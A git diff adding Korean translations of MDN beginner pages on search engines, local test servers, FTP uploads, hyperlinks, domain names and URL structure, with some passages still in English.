검색 엔진은 다음과 같습니다: Google, Bing, Yandex, DuckDuckGo, 그리고 더 많은 검색 엔진들이 있습니다. 일부는 일반적인 것을 위한 것이고, 일부는 특정한 주제에 특화되어 있습니다. 선호하는 것을 사용하면 됩니다.

+ +

많은 웹 초보자들은 검색 엔진과 브라우저를 혼돈합니다. 분명히 합시다: 브라우저는 소프트웨어의 한 조각으로, 웹 페이지를 검색하고 보여줍니다; 검색 엔진은 사람들이 다른 웹사이트에서 웹 페이지를 찾도록 도와주는 웹 사이트입니다. 혼란이 생기는 이유는, 처음 브라우저를 실행하면, 브라우저는 검색 엔진의 홈페이지를 보여주기 때문입니다. 이것이 의미있는 이유는 브라우저로 가장 하고 싶은 일이 보여줄 웹 페이지를 찾는 것이기 때문이다.  브라우저같은 기반 시설을 검색엔진 같은 서비스와 혼동하지마세요. 이것을 구별하는 것이 상당히 도움이 될 것입니다. 그러나 몇몇의 전문가들도 느슨하게 말하므로, 염려하지 않아도 됩니다.

+ +

기본 시작 페이지로 구글 검색 상자를 보여주는 파이어폭의 한 예입니다.

+ +

Example of Firefox nightly displaying a custom Google page as default

+ +

다음 단계

+ + diff --git a/files/ko/learn/common_questions/set_up_a_local_testing_server/index.html b/files/ko/learn/common_questions/set_up_a_local_testing_server/index.html new file mode 100644 index 0000000000..5cc1d21caa --- /dev/null +++ b/files/ko/learn/common_questions/set_up_a_local_testing_server/index.html @@ -0,0 +1,112 @@ +--- +title: 로컬 테스트 서버 설치하기 +slug: Learn/Common_questions/set_up_a_local_testing_server +tags: + - Express + - Flask + - Learn + - Node + - PHP + - django + - lamp + - 서버 + - 서버측 + - 초보자 + - 파이썬 +translation_of: Learn/Common_questions/set_up_a_local_testing_server +--- +
+

이 글에서는 간단한 로컬 테스트 서버를 여러분의 장비에 설치하는 법과 기본적인 사용법을 설명합니다.

+
+ + + + + + + + + + + + +
사전 준비:인터넷의 작동 방법과 웹서버에 대해 알고 있어야 합니다.
목표:로컬 테스트 서버를 설치하는 법을 배울 것입니다.
+ +

로컬 파일과 원격 파일

+ +

대부분의 학습 분야에 걸쳐서 여러분은 그냥 웹브라우저로 예제들을 직접 열어보기만 하면 됩니다. — 브라우저를 통해 예제들을 직접 열어보는 것은 HTML 파일을 더블 클릭하거나 브라우저 창으로 예제들을 드래그 앤 드롭하거나  또는 File > Open... 메뉴에서 해당하는 HTML 파일을 선택하면 됩니다. 이를 수행하는 방법은 많습니다.

+ +

웹 주소 경로가 file://로 시작하고 뒤에 오는 경로가 여러분의 로컬 하드 드라이브에 있는 파일의 경로인 경우, 로컬 파일이 사용되는 것입니다. 이와는 달리, GitHub (또는 다른 원격 서버에 있는) 예제를 보는 경우에는 웹 주소가 http://나 https://로 시작하며, 이는 그 파일이 HTTP를 통해 수신된 파일이라는 것을 나타냅니다.

+ +

로컬 파일로 테스트할 때의 문제점

+ +

일부 예제는 로컬 파일과 같은 방식으로 열면 동작하지 않습니다. 여기에는 여러 가지 원인이 있을 수 있으며, 대부분은 다음과 같습니다:

+ + + +

간단한 로컬 HTTP 서버 실행하기

+ +

비동기 요청 문제를 해결하려면 로컬 웹 서버에서 예제를 실행하여 테스트해야 합니다. 이를 위한 가장 쉬운 방법은 파이썬(Python)의 SimpleHTTPServer 모듈을 사용하는 것입니다. (설치된 파이썬 버전에 따라 http.server 모듈을 사용해야 할 수도 있습니다.)

+ +

이를 위해:

+ +
    +
  1. +

    파이썬을 설치합니다. 리눅스나 맥OS 사용자라면 이미 시스템에 설치되어 있을 것입니다. 윈도우 사용자일 경우, 다음과 같이 파이썬 홈페이지로부터 설치 프로그램을 다운 받고 설치합니다:

    + +
      +
    • 파이썬 홈페이지(python.org)로 이동합니다.
    • +
    • 다운로드(download) 영역에서 Python "3.xxx" 링크를 클릭합니다.
    • +
    • 페이지의 아래쪽에 있는 Windows x86 executable installer를 선택하고 다운로드 받습니다.
    • +
    • 다운로드가 완료되면 실행합니다.
    • +
    • 설치 프로그램의 첫 번째 페이지에서 "Add Python 3.xxx to PATH" 체크박스를 체크해야 합니다.
    • +
    • Install을 클릭하고 설치가 완료되면 Close를 클릭합니다.
    • +
    +
  2. +
  3. +

    명령 실행창(윈도우의 경우는 command prompt, OS/X나 리눅스인 경우에는 터미널창)을 엽니다. 파이썬이 설치되었는지 확인하기 위해 다음 명령을 입력합니다.:

    + +
    python -V
    +
  4. +
  5. +

    이 명령은 버전 번호를 반환합니다. 정상적으로 작동하면, cd 명령을 이용해 여러분의 예제가 존재하는 디렉토리로 이동합니다.

    + +
    # 들어가고자 하는 디렉토리 명을 입력합니다. 예를 들어,
    +cd Desktop
    +# 한 단계 상위 디렉토리로 이동하려면 점 두 개를 사용합니다.
    +cd ..
    +
  6. +
  7. +

    그 경로에 있는 서버를 구동하기 위한 명령을 입력합니다:

    + +
    # 위에서 반환된 파이썬 버전이 3.X인 경우
    +python -m http.server
    +# 위에서 반환된 파이썬 버전이 2.X인 경우
    +python -m SimpleHTTPServer
    +
  8. +
  9. +

    이 명령은 기본적으로 로컬 웹 서버의 8000번 포트를 이용해 해당 경로의 컨텐츠를 실행시킵니다. 웹 브라우저에서 주소줄에 localhost:8000를 입력하면 이 서버로 이동할 수 있습니다. 그러면 그 디렉토리의 컨텐츠 목록을 볼 수 있는데 실행하고자 하는 HTML 파일을 클릭합니다.

    +
  10. +
+ +
+

참고: 8000번 포트에 이미 실행 중인 무언가가 있다면 서버 실행 명령에 다음과 같이 대체 포트 번호를 명시함으로써 다른 포트로 서버를 구동할 수 있습니다.

+ +

예: python -m http.server 7800 (Python 3.x일 경우) 또는 python -m SimpleHTTPServer 7800 (Python 2.x일 경우). 이 경우, localhost:7800를 통해 서버로 이동할 수 있습니다. 

+
+ +

서버측 언어를 로컬에서 실행하기

+ +

파이썬의 SimpleHTTPServer (python 2.0) http.server (python 3.0) 모듈은 유용하기는 하나 파이썬이나 PHP 또는 자바스크립트와 같은 언어로 작성된 코드를 실행하지 못합니다. 이런 코드를 처리하기 위해서는 뭔가가 더 필요합니다 — 정확하게 무엇이 필요한지는 실행하고자 하는 서버측 언어가 무엇인지에 따라 다릅니다. 다음에 몇 가지 사례를 소개합니다:

+ + + +
$ cd path/to/your/php/code
+$ php -S localhost:8000
diff --git a/files/ko/learn/common_questions/upload_files_to_a_web_server/index.html b/files/ko/learn/common_questions/upload_files_to_a_web_server/index.html new file mode 100644 index 0000000000..225b587dc7 --- /dev/null +++ b/files/ko/learn/common_questions/upload_files_to_a_web_server/index.html @@ -0,0 +1,134 @@ +--- +title: How do you upload files to a web server? +slug: Learn/Common_questions/Upload_files_to_a_web_server +translation_of: Learn/Common_questions/Upload_files_to_a_web_server +--- +
+

본 글은 어떻게 {{Glossary("FTP")}} 도구를 사용하여 사이트를 발행(publish) 할 수 있는지를 다루고 있습니다.

+
+ + + + + + + + + + + + +
선행조건: +

먼저 웹 서버가 무엇인지(what a web server is)와 어떤 식으로 도메인이 작동하는지(how domain names work)를 알아야 합니다. 더불어 어떻게 기본 환경을 구성하는지(set up a basic environment)와 간단한 웹 페이지 작성법(write a simple webpage)을 알고 있어야 합니다.

+
목표:FTP를 이용해 파일들을 서버에 올리기.
+ +

개요

+ +

당신은 이미 간단한 웹 페이지를 만들었습니다.(you have built a simple page 참조), 이제 웹 서버에 올려 온라인에 공개하고 싶을 겁니다. 우리는 이러한 방법을 {{Glossary("FTP")}}를 통해 다뤄보고자 합니다.

+ +

따라해보기

+ +

아직 좋은 예제가 없습니다. 누군가 나서 주세요(Please, consider contributing).

+ +

깊이 파보기

+ +

FTP 클라이언트와 함께 해보기: FireFTP

+ +

세상에는 다양한 종류의 FTP 클라이언트들이 있습니다. 본 문서에서는 FireFTP를 다룰 겁니다.  FireFTP는 파이어 폭스에서 다루기 쉽습니다. 만약 파이어폭스를 사용하신다면 FireFTP 애드온 페이지(FireFTP's addons page) 에 가셔서l FireFTP를 설치하시면 됩니다.

+ +
+

물론 FireFTP 외에도 수 많은 대안이 있습니다. 관심이 있다면 퍼블리싱 도구: FTP 클라이언트(Publishing tools: FTP clients) 항목을 참조하시면 되겠습니다.

+
+ +

FireFTP를 새로운 탭에서 열어보세요. 파이어폭스에서 열기 위한 방법도 두가지 있습니다.

+ +
    +
  1. Firefox menu Developer ➤ FireFTP
  2. +
  3. Tools Web Developer ➤ FireFTP
  4. +
+ +

이제 다음과 같이 보이게 될겁니다.

+ +

FireFTP : the interface, not connected to a server

+ +

로그인 하기

+ +

이 예시에서 우리는 호스팅 제공자가 "Example Hosting Provider"라는 가상의 회사라고 가정합니다. 이 회사의 URLs는 다음과 같습니다 : mypersonalwebsite.examplehostingprovider.net.

+ +

우리는 방금 계정을 만들었고 호스팅제공자로부터 아래와 같은 계정정보를 받았습니다.

+ +
+

Congratulations for opening an account at Example Hosting Provider.

+ +

Your account is: demozilla

+ +

Your website will be visible at demozilla.examplehostingprovider.net

+ +

To publish to this account, please connect through FTP with the following credentials:

+ + +
+ +

먼저 이곳을 봅시다. http://demozilla.examplehostingprovider.net/ — 보시다시피 아직 아무런 정보도 없습니다.

+ +

Our demozilla personal website, seen in a browser: it's empty

+ +
+

Note: 보이는 화면은 여러분의 호스팅 제공자에 따라 다릅니다. 대부분은 “This website is hosted by [Hosting Service].”과 같은 페이지를 보게될 것입니다.

+
+ +

이제 우리의 FTP 클라이언트를 멀리 떨어진 서버에 접속하기 위해 "Create an account..." 버튼을 누릅니다. 그리고 호스팅제공자로 부터 받은 정보를 해당 필드에 채워줍니다.

+ +

FireFTP: creating an account

+ +

이곳과 "저곳" : 로컬 과 원격 화면

+ +

이제 새로 만든 계정으로 접속을 해봅시다.

+ +

The FTP interface, once logged

+ +

어떤 것이 보이는지 조사해봅시다.

+ + + +

서버에 업로딩

+ +

여러분이 기억하듯이, 우리의 호스팅제공자는 우리에게 Public/htdocs 디렉토리에 파일을 저장해야한다고 했습니다. 오른쪽 패널에서 해당 디렉토리로 이동해봅시다.

+ +

Changing to the htdocs folder on the remote server

+ +

이제, 여러분의 파일을 서버에 업로드하기 위해서 드래그-앤-드롭하여 파일들을 왼쪽에서 오른쪽 패널로 이동합니다.

+ +

The files show in the remote view: they have been pushed to the server

+ +

우리가 올린 것이 진짜로 온라인으로 되어있나요?

+ +

지금까지는 좋습니다. 하지만 여러분의 브라우저에서 http://demozilla.examplehostingprovider.net/ 주소로 이동하여 재확인 해봅시다.

+ +

Here we go: our website is live!

+ +

맙소사! 우리의 웹사이트가 잘 올라와있습니다!

+ +

파일 업로드를 위한 다른 방법들

+ +

FTP 프로토콜은 웹사이트를 출시하기 위해 잘 알려진 방법입니다. 하지만 유일한 방법은 아닙니다. 여기 몇개의 다른 방법들도 있습니다.

+ + + +

다음 단계

+ +

잘하셨습니다. 이제 거의 끝났습니다. 마지막으로 중요한 일은 make sure your web site is working properly 입니다.

diff --git a/files/ko/learn/common_questions/what_are_hyperlinks/index.html b/files/ko/learn/common_questions/what_are_hyperlinks/index.html new file mode 100644 index 0000000000..e036903bd6 --- /dev/null +++ b/files/ko/learn/common_questions/what_are_hyperlinks/index.html @@ -0,0 +1,91 @@ +--- +title: What are hyperlinks? +slug: Learn/Common_questions/What_are_hyperlinks +translation_of: Learn/Common_questions/What_are_hyperlinks +--- +
+

이 글에서, 우리는 하이퍼링크가 무엇이고 왜 중요한지를 살필 것이다.

+
+ + + + + + + + + + + + +
선수지식:인터넷이 작동하는 법을 알아야 하고 웹 페이지, 웹사이트, 웹 서버 그리고 검색엔진의 차이에 익숙해야 한다.
목적:하이퍼링크가 무엇이고 왜 중요한지를 배울 것이다.
+ +

요약

+ +

보통 링크라고 불리는 하이퍼링크는 웹에서 기본적인 개념이다. 링크가 무엇인 지 설명하기 위해, 웹의 매우 기본적인 구조로 돌아볼 필요가 있다.

+ +

1989년으로 돌아가, 웹의 발명가인 Tim Berners-Lee는 웹을 대표하는 3가지 축에 대해 말하였다. :

+ +
    +
  1. {{Glossary("URL")}}, 웹 문서를 추적하는 주소 시스템
  2. +
  3. {{Glossary("HTTP")}}, URL들이 주어졌을 때, 문서들을 찾는 전송 프로토콜
  4. +
  5. {{Glossary("HTML")}}, 내장된 hyperlinks 를 허용하는 문서 형식
  6. +
+ +

3가지 축에서 본 것처럼, 웹에 대한 모든 것들은 문서들과 어떻게 문서에 접근할 것인 지에 관련되어 있다. 웹의 기본 목적은 텍스트 문서를 통해서 도달하고, 읽고, 찾기쉬운 방식을 제공하는 것이다. 그리고 나서, 웹은 이미지와 동영상, 이진 데이터에 접근하는 것을 제공하도록 진화했다. 그러나, 이런 발전은 3가지 축은 거의 바꾸지 못 하였다.

+ +

웹 이전에는, 문서에 접근하고 문서끼리 이동하는 것은 꽤 어려웠다. 인간이 읽을 수 있는 URL은 이런 것들을 훨씬 쉽게 만들었다. 하지만, 문서에 접근할 때마다 긴 URL을 타이핑하는 것은 어려웠다. 이것이 하이퍼링크가 개혁한 모든 것이다. 링크는 URL을 가진 텍스트와 연결될 수 있다. 그렇게 된 링크를 활성화함으로써, 타겟 문서에 즉시 도달할 수 있다.

+ +

기본적으로 파란색으로 밑줄이 된 링크는 주위 텍스트에서 보여진다. 활성화하기 위해 링크를 클릭하거나 Tab키로 링크를 선택하고 Enter키나 Space바를 누르면 된다.

+ +

Example of a basic display and effect of a link in a web page

+ +

링크는 웹을 유용하고 성공적으로 만든 돌파구이다. 이 글의 나머지엔, 다양한 유형의 링크와 현대 웹 디자인의 중요성을 얘기할 것이다.

+ +

깊게 들어가기

+ +

다시 말하면, 링크는 URL이 연결된 텍스트이다. 그리고, 링크를 사용하면, 하나의 문서에서 다른 문서로 쉽게 이동할 수 있다. 이런 내용들을 말하다보면, 몇몇의 생각해볼 뉘앙스차이가 있다.

+ +

링크의 유형들

+ +
+
Internal link(내부 링크)
+
당신의 웹사이트에 속하는 두 개의 웹사이트 사이의 링크는 내부 링크라고 불린다. 내부 링크가 없다면, 웹 사이트와 같은 것은 없을 것이다. (물론, 한 페이지의 웹 사이트 빼고).
+
External link(외부 링크)
+
당신의 웹사이트에서 다른 사람의 웹사이트로 가는 링크이다. 외부 링크가 없다면, 웹이 존재하지 않는다. 왜냐하면 웹은 웹페이지들의 네트워크이기 때문이다. 당신이 유지하는 내용 외의 정보를 제공하기위해 외부 링크를 사용해라.
+
Incoming links(들어오는 링크)
+
다른 사람의 웹 사이트에서 당신의 사이트로 가는 링크이다. 단지 외부링크의 반대이다. 누군가 당신의 사이트로 링크를 걸 때 당신이 역으로 링크를 걸 필요하는 없다는 것을 기록해라.
+
+ +

당신이 웹사이트를 구축할 때, 내부링크에 집중해야 한다. 왜냐하면 내부링크가 당신의 사이트를 사용가능하게 해주기 때문이다. 링크가 너무 많거나 너무 적지 않게 좋은 밸런스를 찾아야 한다. 우리는 다른 글에서 웹 사이트 네비게이션을 디자인하는 것에 대해 이야기 할 것이다. 그러나 룰로써, 당신이 새 웹페이지를 추가할 때마다, 적어도 당신의 1개 이상의 페이지에는 새 페이지에 대한 링크를 걸어야 한다. 반면에, 만약 당신의 사이트가 10페이지 이상이라면, 모든 페이지에 링크를 거는 것은 역효과이다.

+ +

당신이 처음 시작할 때, 외부와 들어오는 링크를 많이 걱정할 필요가 없다. 그러나, 그것들은 검색 엔진에서 당신의 사이트를 찾을 때, 매우 중요하다. (자세한 사항은 밑에 있다.)

+ +

Anchors(앵커)

+ +

대부분의 링크는 두 개의 웹사이트를 연결한다. 앵커는한 문서에서 다른 부분들을 연결한다. 앵커가 가리키는 링크를 따라가면, 브라우저는 새 문서를 불러오는 것 대신에 현재 문서의 다른 부분으로 이동한다. 그러나 다른 링크과 같은 방식으로 만들고 사용한다.

+ +

Example of a basic display and effect of an anchor in a web page

+ +

링크와 검색엔진

+ +

링크는 유저와 검색엔진 모두에게 중요하다. 검색 엔진이 웹페이지를 크롤링할 때마다, 검색엔진은 웹 페이지에서 이용가능한 링크를 따라가면서 웹 사이트를 인덱싱한다. 검색 엔진이 웹 사이트의 다양한 페이지를 발견하기 위해 링크를 따라가는 것뿐만 아니라 타켓 웹페이지에 도달하기 위해 어떤 검색 쿼리가 적절한 지를 결정하기 위해 링크의 텍스트를 사용한다.

+ +

그래서 링크는 얼마나 쉽게 검색 엔진이 너의 사이트를 찾는 지에 영향을 미친다. 문제는 검색 엔진의 활동을 측정하는 것은 어렵다. 회사들은 그들의 사이트가 검색 결과에 높은 랭크가 되기를 자연스럽게 원한다. 그리고, 모든 연구 결과는 적어도 몇몇은 분명하게 해준다.

+ + + +

SEO (search engine optimization, 검색 엔진 최적화)는 검색 결과에 웹페이지 랭크를 높게 만드는 법에 대한 연구이다. 웹페이지의 링크 사용을 증가시키는 것이 유용한 SEO 기법이다.

+ +

다음 단계

+ +

그래서 이젠, 당신은 링크가 있는 웹페이지들을 설정하고 싶을 것이다!

+ + diff --git a/files/ko/learn/common_questions/what_is_a_domain_name/index.html b/files/ko/learn/common_questions/what_is_a_domain_name/index.html new file mode 100644 index 0000000000..8fecee0342 --- /dev/null +++ b/files/ko/learn/common_questions/what_is_a_domain_name/index.html @@ -0,0 +1,149 @@ +--- +title: What is a domain name? +slug: Learn/Common_questions/What_is_a_domain_name +translation_of: Learn/Common_questions/What_is_a_domain_name +--- +
+

이 글에서 domain name(도메인명)에 대해 다룹니다. : 도메인이 무엇인 지, 어떻게 구성되어있는지, 도메인을 어떻게 얻을 수 있는지.

+
+ + + + + + + + + + + + +
선행사항:우선, 인터넷이 작동하는 법을 알 필요가 있고, 무엇이 URLs 인 지 이해할 필요가 있다..
목적:도메인 이름이 무엇인 지에 배우고 그것들이 어떻게 작동하고 왜 중요한 지에 대해 배운다.
+ +

요약

+ +

도메인 이름은 인터넷 인프라의 핵심 부분입니다. 인터넷에서 사용할 수있는 모든 웹 서버에 대해 사람이 읽을 수있는 주소를 제공합니다.

+ +

Any Internet-connected computer can be reached through a public {{Glossary("IP")}} Address, which consists of 32 bits for IPv4 (they are usually written as four numbers between 0 and 255, separated by dots (e.g., 173.194.121.32) or which consists of 128 bits for IPv6 (they are usually written as eight groups of 4 hexadecimal numbers, separated by colons (e.g., 2027:0da8:8b73:0000:0000:8a2e:0370:1337). Computers can handle those addresses easily, but people have a hard time finding out who's running the server or what service the website offers. IP addresses are hard to remember and might change over time. To solve all those problems we use human-readable addresses called domain names.

+ +

Active Learning

+ +

아직 이용가능한 Active Learning이 없습니다. Please, consider contributing.

+ +

Deeper dive

+ +

Domain name의 구조

+ +

도메인 이름은 몇개의 파트로 이루어진 간단한 구조를 이루고 있습니다. 점으로 구분하고 오른쪽에서 왼쪽으로 읽습니다.

+ +

Anatomy of the MDN domain name

+ +

각각의 파트들은 전체 도메인 이름에 대해 특별한 정보를 제공합니다. 

+ +
+
{{Glossary("TLD")}} (Top-Level Domain; 최고레벨 도메인).
+
TLD은 가장 일반적인 정보를 제공합니다. TLDs tell users the general purpose of the service behind the domain name. The most generic TLDs (.com, .org, .net) don't require web services to meet strict criteria, but some TLDs enforce stricter policies. For example, local TLDs such as .us, .fr, or .sh can require the service to be provided in a given language or hosted in a certain country.
+
Label (or component)
+
The labels are what follow the TLD. A label can be anything, from one letter to a full sentence. The label located right before the TLD can also be referred as a Secondary Level Domain (SLD). A domain name can have many labels (or components), it is not mandatory nor necessary to have 3 labels to form a domain name. For instance, www.inf.ed.ac.uk is a correct domain name. When controlling the "upper" part of a domain name (e.g. mozilla.org), one can create other domain names (sometimes called "subdomains") (e.g. developer.mozilla.org).
+
+ +

Domain name 구매하기

+ +

누가 도메인 이름을 갖고 있나요?

+ +

You cannot “buy a domain name”. You pay for the right to use a domain name for one or more years. You can renew your right, and your renewal has priority over other people's applications. But you never own the domain name.

+ +

Companies called registrars use domain name registries to keep track of technical and administrative information connecting you to your domain name.

+ +
+

Note : For some domain name, it might not be a registrar which is in charge of keeping track. For instance, every domain name under .fire is managed by Amazon.

+
+ +

이용가능한 Domain Name 찾기

+ +

To find out whether a given domain name is available,

+ + + +
$ whois mozilla.org
+Domain Name:MOZILLA.ORG
+Domain ID: D1409563-LROR
+Creation Date: 1998-01-24T05:00:00Z
+Updated Date: 2013-12-08T01:16:57Z
+Registry Expiry Date: 2015-01-23T05:00:00Z
+Sponsoring Registrar:MarkMonitor Inc. (R37-LROR)
+Sponsoring Registrar IANA ID: 292
+WHOIS Server:
+Referral URL:
+Domain Status: clientDeleteProhibited
+Domain Status: clientTransferProhibited
+Domain Status: clientUpdateProhibited
+Registrant ID:mmr-33684
+Registrant Name:DNS Admin
+Registrant Organization:Mozilla Foundation
+Registrant Street: 650 Castro St Ste 300
+Registrant City:Mountain View
+Registrant State/Province:CA
+Registrant Postal Code:94041
+Registrant Country:US
+Registrant Phone:+1.6509030800
+
+ +

보시는 바와 같이 mozilla.org는 Mozilla Foundation에 의해 이미 등록되어 있기 때문에 등록이 안되네요.

+ +

afunkydomainname.org을 등록하는 것도 봅시다

+ +
$ whois afunkydomainname.org
+NOT FOUND
+
+ +

위에 나온 것 같이 도메인이 whois 데이터베이스에 존재하지 않네요. 따라서 이건 등록할수 있습니다. 좋은 정보네요.

+ +

도메인 네임 얻기

+ +

과정은 다음과 같습니다.

+ +
    +
  1. 등록 웹사이트로 가세요.
  2. +
  3. 일반적으로 눈에 ㄸㅟ게 “Get a domain name” 이라는 글자가 있을거에요. 클릭하세요.
  4. +
  5. 요구하는 상세 정보를 채우세요. 그리고 특별히 원하는 도메인 네임의 스펠링을 정확하게 입력했는지 다시한번 확인해주세요. 한번 지불하면 돌이킬 수 없습니다.
  6. +
  7. 등록이 잘 되었다면 등록 웹사이트에서 연락이 올 것입니다. 그리고 몇시간내로 모든 DNS 서버들이 당신의 DNS 정보를 받을거구요.
  8. +
+ +
+

Note: In this process the registrar asks you for your real-world address. Make sure you fill it properly, since in some countries registrars may be forced to close the domain if they cannot provide a valid address.

+
+ +

DNS 갱신

+ +

DNS databases are stored on every DNS server worldwide, and all these servers refer to a few ones called “authoritative name server” or “top-level DNS servers.” Whenever your registrar creates or updates any information for a given domain, the information must be refreshed in every DNS database. Each DNS server that knows about a given domain stores the information for some time before it is automatically invalidated and then refreshed (the DNS server queries an authoritative server again). Thus, it takes some time for DNS servers that know about this domain name to get the up-to-date information.

+ +
+

Note : This time is often called propagation time. However this term is not precise since the update is not propagating itself (top → down). DNS servers queried by your computer (down) are the ones that fetch the information from the authoritative server (top) when they need it.

+
+ +

DNS 리퀘스트는 어떻게 작동할까요?

+ +

As we already saw, when you want to display a webpage in your browser it's easier to type a domain name than an IP address. Let's take a look at the process:

+ +
    +
  1. Type mozilla.org in your browser's location bar.
  2. +
  3. Your browser asks your computer if it already recognizes the IP address identified by this domain name (using a local DNS cache). If it does, the name is translated to the IP address and the browser negotiates contents with the web server. End of story.
  4. +
  5. If your computer does not know which IP is behind the mozilla.org name, it goes on to ask a DNS server, whose job is precisely to tell your computer which IP address matches each registered domain name.
  6. +
  7. Now that the computer knows the requested IP address, your browser can negotiate contents with the web server.
  8. +
+ +

Explanation of the steps needed to obtain the result to a DNS request

+ +

다음 단계

+ +

지금까지 많은 프로세스와 architecture에 대해 이야기 했으니 이제 다음으로 넘어갈 시간이네요.

+ + diff --git a/files/ko/learn/common_questions/what_is_a_url/index.html b/files/ko/learn/common_questions/what_is_a_url/index.html new file mode 100644 index 0000000000..cc203af11b --- /dev/null +++ b/files/ko/learn/common_questions/what_is_a_url/index.html @@ -0,0 +1,158 @@ +--- +title: What is a URL? +slug: Learn/Common_questions/What_is_a_URL +tags: + - URL + - urls + - 자원 + - 초급자 + - 초보자 +translation_of: Learn/Common_questions/What_is_a_URL +--- +
+

이 글은 Uniform Resource Locators (URLs) 를 설명한다. 또한, URL이 무엇이고 어떻게 구성되어 있는 지도 설명한다.

+
+ + + + + + + + + + + + +
선수지식:인터넷이 작동하는 법, 웹서버가 무엇인가 그리고 웹상의 링크 속에 있는 개념에 대해 먼저 알아야 한다.
목적:URL을 배울 것이고, 웹에서 어떻게 URL이 작동하는 지 배운다.
+ +

요약

+ +

{{Glossary("Hypertext")}} 와 {{Glossary("HTTP")}} 함께, URL 은 웹에서 중요한 개념 중 하나이다.  URL은 웹에 게시된 어떤 자원을 찾기 위해서 {{Glossary("Browser","browsers")}}에 의해 사용되는 메카니즘이다 .

+ +

URLUniform Resource Locator(인터넷에서 자원 위치)을 나타낸다. URL은 웹에서 정해진 유일한 자원의 주소일 뿐이다. 이론적으로, 각각의 유일한 URL은 유일한 자원을 가리킨다. 그런 자원은 HTML 페이지, CSS 문서, 이미지 등이 될 수 있다. 실제로, 여러 예외가 있는데, 가장 흔한 URL은 더 이상 존재하지 않는 자원이나 옮겨진 자원을 가리키는 것이다.  URL에 의해 표현된 자원과 URL 자체는 웹서버에 의해 다루어지기 때문에, 자원과 관련 URL을 주의 깊게 관리하기 위해서 웹서버의 소유자에게 달려있다..

+ +

Active Learning(능동 학습)

+ +

아직 이용 가능한 능동학습이 없습니다. Please, consider contributing.

+ +

깊게 들어가기

+ +

기본: URL의 구조

+ +

여기에 URL의 예제들이 있습니다:

+ +
https://developer.mozilla.org
+https://developer.mozilla.org/en-US/docs/Learn/
+https://developer.mozilla.org/en-US/search?q=URL
+ +

관련 페이지를 불러오기 위해서, 저 URL들 중 어떤 것이든 주소 창에 적을 수 있습니다. (자원).

+ +

URL 은 다른 파트들과, 몇몇의 의무와 선택사항들로 구성됩니다. 다음 URL을 사용하여 가장 중요한 부분을 봅시다:

+ +
http://www.example.com:80/path/to/myfile.html?key1=value1&key2=value2#SomewhereInTheDocument
+ +
+
Protocol
+
http 는 프로토콜(규약)입니다. URL의 첫 파트는 브라우저가 어떤 규약을 사용해야 하는 지를 나타냅니다. 프로토콜은 컴퓨터 네트워크에서 데이터를 교환하거나 전송하기 위한 방법들의 세트입니다. 보통 웹사이트들을 위해, 이것은 HTTP 프로토콜이나 HTTP 프로토콜의 보안 버전입니다. 웹은 이 두 가지 중 하나를 요구합니다, 그러나 브라우저는 mailto: (메일 클라이언트를 열기 위한) 또는 파일을 전송하기 위해 ftp: 와 같은 다른 프로토콜들을 다루는 법 또한 알고 있습니다, 그러므로 만약 이런 프로토콜들을 보더라도 놀라지 마십시오.
+
Domaine Name
+
www.example.com 은 도메인 이름입니다. 이것은 어떤 웹 서버가 요구되는 것인 지를 가리킵니다. 대안으로, 직접 {{Glossary("IP address")}}를 사용하는 것도 가능합니다, 그러나 덜 편리하기 때문에, 그것은 웹에서 주로 사용되지는 않습니다.
+
Port
+
:80 은 포트입니다. 이것은 기술적으로 웹서버에서 자원을 접근하기 위해 사용하는 "관문(gate)"을 가리킵니다. 만약 웹서버가 자원의 접근 하기 위해 표준 HTTP 포트 (HTTP를 위한 80, HTTPS를 위한 443)를 사용한다면, 포트 번호는 보통 생략합니다. 그렇지 않으면 포트 번호는 필수입니다.
+
Path to the file
+
/path/to/myfile.html 은 웹서버에서 자원에 대한 경로입니다. 초기의 웹에서는, 웹서버상에서 물리적 파일 위치를 나타냈습니다. 요즘에는, 실제 물리적 경로를 나타내지 않고, 웹 서버에서 추상화하여 보여줍니다.
+
Parameters
+
?key1=value1&key2=value2 는 웹서버에 제공하는 추가 파라미터입니다. 이 파라미터들은 & 기호로 구분된 키/값으로 짝을 이룬 리스트입니다. 웹 서버는 자원을 반환하기 전에 추가적인 작업을 위해 이런 파라미터들을 사용할 수 있습니다. 각각의 웹서버는 파라미터들을 언급하는 자신의 규칙을 갖고 있습니다. 그리고, 특정한 웹서버가 파라미터를 다루는 지 알기 위한 유일한 방법은 웹서버 소유자에게 묻는 것입니다.
+
Anchor
+
#SomewhereInTheDocument 는 자원 자체의 다른 부분에 대한 anchor(닻) 입니다. An anchor 는 일종의 자원 안에서 "bookmark" 입니다. 즉, "bookmarked" 지점에 위치된 내용을 보여주기 위해 브라우저에게 방향을 알려줍니다. 예를 들어, HTML 문서에서 브라우저는 anchor가 정의한 곳의 점을 스크롤할 것입니다; 비디오나 오디오 문서에서, 브라우저는 앵커가 나타내는 시간을 찾으려 할 것입니다. #뒤에 오는 부분은 가치가 없습니다. 또한, fragment identifier(부분 식별자) 라고 알려져, 요청이 서버에 절대 보내지지 않습니다.
+
+ +

{{Note('URLs을 말하면 몇몇의 추가적인 부분과 규칙이 있다, 그러나 그것들은 일반적인 유저와 웹 개발자들에게 상관이 없다. 이것에 대해 걱정하지 말고, 완전한 기능적인 URLs를 구축하고 사용하기 위해 알 필요는 없다.')}}

+ +

당신은 일반적인 우편 메일 주소처럼 URL을 생각할 것이다: 프로토콜은 사용하고 싶은 우편 서비스다, 도메인 이름은 도시나 마을이다, 그리고 포트 우편 번호이다; 경로는 메일이 전달되어야 하는 건물을 나타낸다; 파라미터는 건물 번호와 같은 정보를 나타낸다; 그리고, 마지막으로, anchor(앵커)는 메일을 받는 실제 사람을 나타낸다.

+ +

URLs 을 사용하는 법

+ +

어떤 URL이든 자원을 얻기 위해 브라우저의 주소창에 올바르게 적으면 된다!

+ +

{{Glossary("HTML")}} 언어 — 나중에 이야기할 것 — 가 URLs을 광범위하게 사용하게 만들었다:

+ + + +
+

Note: 한 페이지의 일부로서, 자원을 불러오기 위해 URLs 특정할 때, (<script>, <audio>, <img>, <video>, 와 같은 것을 사용할 때 처럼), 오직 HTTP와 HTTPS URL을 사용해야만 한다. 예를 들어, FTP를 사용하는 것은 부분적으로 안전하지 않고, 더 이상 많은 브라우저에서 지원하지 않는다.

+
+ +

{{Glossary("CSS")}} 또는 {{Glossary("JavaScript")}}와 같은 다른 기술들은 URLs를 광범위하게 사용한다 그리고, 이런 것들이 정말로 웹의 심장이다.

+ +

절대 URLs vs 상대 URLs

+ +

